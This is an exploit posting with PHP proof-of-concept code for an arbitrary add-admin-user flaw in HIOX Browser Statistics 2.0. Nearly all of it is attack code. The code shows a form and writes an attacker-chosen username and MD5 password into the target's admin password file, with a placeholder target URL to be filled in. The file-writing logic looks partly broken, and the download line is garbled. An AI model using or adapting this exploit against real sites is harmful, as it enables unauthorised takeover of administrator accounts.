HIOX Browser Statistics 2.0 Arbitrary Add Admin User Exploit

<?php
     @session_start();
     ?>
     <table align=center width=72% height=95% ><tr><td>
     <?php
     /*
     HIOX Browser Statistics 2.0 Arbitrary Add Admin User Vulnerability
     [~] Discoverd & exploited by Stack
     [~]Greeatz All Freaind
     [~]Special thnx to Str0ke
     [~] Name Script : HIOX Browser Statistics 2.0
     [~] Download : /uploads/202404/24/404notfound1959.php You need to change http://localhost/path/ with the link of script it's very importent
     */
     $creat = "true";
     $iswrite = $_POST['createe'];
     if($user=="" && $pass==""){
     if($iswrite == "creatuser")
     {
     $usname = $_POST['usernam'];
     $passwrd = md5($_POST['pword']);
     if($usname != "" && $passwrd != ""){
     $filee = "http://localhost/path/admin/passwo.php";
     $file1 = file($filee);
     $file = fopen($filee,'w');
     fwrite($file, "<?php \n");
     fwrite($file, "$");
     fwrite($file, "user=\"$usname\";\n");
     fwrite($file, "$");
     fwrite($file, "pass=\"$passwrd\";");
     fwrite($file, "\n?>");
     fclose($file);
     $creat = "false";
     echo "<div align=center style='color: green;'><b>New User Created
     <meta http-equiv=\"refresh\" content=\"2; url=http://localhost/path/admin/index.php\">
     <br>Please Wait You will be Redirected to Login Page
     </div>";
     }
     else{
     echo "<div align=center style='color: red;'><b>Enter correct Username or Password </div>";
     }
     }
     if($creat == "true"){
     ?>
     <table align=center valign=center bgcolor=000000 align=center cellpadding=0 style="border: 1px #000000 solid;">
     <tr width=400 height=20><td align=center bgcolor="000000"
     style="color: ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
     Create New User </td></tr>
     <tr width=400 height=20><td>
     <form name=setf method=POST action=<?php echo $PHP_SELF;?>>
     <table style="color:#ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
     <tr><td>User Name</td><td><input class="ta" name="usernam" type=text maxlength=20 >
     </td></tr>
     <tr><td>Password</td><td><input class="ta" name="pword" maxlength=20 type=password></td></tr>
     <input name="createe" type=hidden value="creatuser"></td></tr>
     <tr><td></td><td><input type=submit value="create"></td></tr>
     </table>
     </form>
     </td></tr></table>
     <?php
     }
     }else{
     echo "<div align=center style='color: red;'><b>User Already Exist</div>";
     }
     ?>
     </td></tr></table>